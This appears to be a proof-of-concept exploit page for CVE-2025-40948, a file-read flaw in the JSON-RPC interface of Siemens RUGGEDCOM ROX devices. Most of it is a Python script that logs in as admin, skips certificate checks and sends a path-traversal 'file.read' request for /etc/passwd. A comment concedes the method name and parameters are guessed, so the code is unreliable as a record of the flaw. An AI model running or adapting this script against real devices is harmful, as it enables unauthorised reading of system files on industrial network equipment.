CVE-2025-40948: Siemens RUGGEDCOM ROX 设备 JSON-RPC 接口任意文件读取漏洞

import requests import json # Target configuration TARGET_URL = "https://<TARGET_IP>/json-rpc" USERNAME = "admin" PASSWORD = "<PASSWORD>" # Malicious payload to read /etc/passwd # Note: The actual method name and parameter structure depend on the device's specific implementation payload = { "jsonrpc": "2.0", "method": "file.read", "params": { "path": "../../../../etc/passwd" }, "id": 1 } # Headers callback_headers = { "Content-Type": "application/json", "Accept": "application/json" } try: # Create session to handle authentication cookies session = requests.Session() # 1. Login (Authentication is required per PR:H) login_data = {"username": USERNAME, "password": PASSWORD} login_resp = session.post(f"https://<TARGET_IP>/login", data=login_data, verify=False) if login_resp.status_code == 200: print("[+] Login successful") # 2. Send Exploit Payload response = session.post(TARGET_URL, data=json.dumps(payload), headers=callback_headers, verify=False) if response.status_code == 200: print("[+] Payload sent successfully") result = response.json() print("[+] Response:") print(json.dumps(result, indent=2)) else: print(f"[-] Failed to send payload. Status code: {response.status_code}") else: print("[-] Login failed") except Exception as e: print(f"[-] An error occurred: {e}")